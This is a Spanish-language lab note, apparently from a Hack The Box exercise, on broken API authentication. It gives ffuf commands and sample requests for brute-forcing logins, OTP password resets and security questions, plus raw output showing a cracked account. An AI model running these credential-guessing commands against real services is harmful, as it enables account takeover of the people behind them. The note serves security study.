La autenticación es un pilar fundamental de la seguridad de las API web. Las API web utilizan diversos mecanismos de autenticación para garantizar la confidencialidad de los datos. Una API sufre una autenticación defectuosa si cualquiera de sus mecanismos de autenticación puede eludirse o burlarse.
Esta vulnerabilidad ocurre cuando una API no limita adecuadamente los intentos de autenticación, permitiendo a atacantes realizar ataques de fuerza bruta contra:
- Contraseñas
- One-Time Passwords (OTPs)
- Respuestas a preguntas de seguridad
- Cualquier credencial de autenticación
Descubrimiento de política de contraseñas débiles
c
PATCH /api/v1/customers/current-user
{
"password": "123456"
}Fuerza bruta contra otros usuarios
c
ffuf -w emails.txt:EMAIL -w passwords.txt:PASS \
-u http://target/api/v1/authentication/customers/sign-in \
-X POST -H "Content-Type: application/json" \
-d '{"Email": "EMAIL", "Password": "PASS"}' \
-fr "Invalid Credentials"Fuerza bruta de OTPs (One-Time Passwords)
c
POST /api/v1/auth/reset-password/verify-otp
{
"email": "victim@company.com",
"otp": "123456"
}Fuerza bruta de preguntas de seguridad
c
POST /api/v1/auth/security-question
{
"email": "victim@company.com",
"answer": "GUESS"
}c
$ ffuf -w /opt/useful/seclists/Passwords/xato-net-10-million-passwords-10000.txt:PASS -w customerEmails.txt:EMAIL -u http://94.237.59.63:31874/api/v1/authentication/customers/sign-in -X POST -H "Content-Type: application/json" -d '{"Email": "EMAIL", "Password": "PASS"}' -fr "Invalid Credentials" -t 100
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://94.237.59.63:31874/api/v1/authentication/customers/sign-in
:: Wordlist : PASS: /opt/useful/seclists/Passwords/xato-net-10-million-passwords-10000.txt
:: Wordlist : EMAIL: /home/htb-ac-413848/customerEmails.txt
:: Header : Content-Type: application/json
:: Data : {"Email": "EMAIL", "Password": "PASS"}
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Regexp: Invalid Credentials
________________________________________________
[Status: 200, Size: 393, Words: 1, Lines: 1, Duration: 81ms]
* EMAIL: IsabellaRichardson@gmail.com
* PASS: qwerasdfzxcv
:: Progress: [30000/30000] :: Job [1/1] :: 1275 req/sec :: Duration: [0:00:24] :: Errors: 0 ::c
ffuf -X 'POST' -w <(seq -w 0 9999):FUZZ -u 'http://94.237.48.51:30530/api/v1/authentication/customers/passwords/resets' -H 'accept: application/json' -H 'Content-Type: application/json' -d '{"Email":"MasonJenkins@ymail.com", "OTP": FUZZ,"string": "PASSword!23"}' -mr '"SuccessStatus"\s*:\s*true|"accessToken"|"token"|"jwt"|"passwordChanged”|"success"' -vIndicadores de Vulnerabilidad:
- ✅ No hay límite de intentos de login
- ✅ No hay CAPTCHA después de múltiples fallos
- ✅ No hay bloqueo temporal de cuentas
- ✅ Los errores son consistentes (no hay random delay)
- ✅ No se requiere autenticación adicional para endpoints críticos